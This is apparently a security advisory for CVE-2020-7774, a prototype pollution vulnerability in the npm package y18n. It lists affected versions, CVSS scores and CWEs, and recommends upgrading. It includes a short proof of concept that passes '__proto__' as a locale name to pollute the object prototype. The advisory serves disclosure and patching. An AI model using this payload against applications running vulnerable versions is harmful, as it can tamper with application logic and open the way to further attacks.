GitStock

yargs/y18n · Security

Prototype Pollution in y18n

GHSA ID
GHSA-c4w7-xm78-47vh
CVE ID
CVE-2020-7774
Severity
high
Published
Updated
CVSS
7.3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
CVSS v3
7.3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Description

Overview

The npm package y18n before versions 3.2.2, 4.0.1, and 5.0.5 is vulnerable to Prototype Pollution.

POC

const y18n = require('y18n')();

y18n.setLocale('__proto__');
y18n.updateLocale({polluted: true});

console.log(polluted); // true

Recommendation

Upgrade to version 3.2.2, 4.0.1, 5.0.5 or later.

CWEs

  • CWE-20 · Improper Input Validation
  • CWE-915 · Improperly Controlled Modification of Dynamically-Determined Object Attributes
  • CWE-1321 · Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

References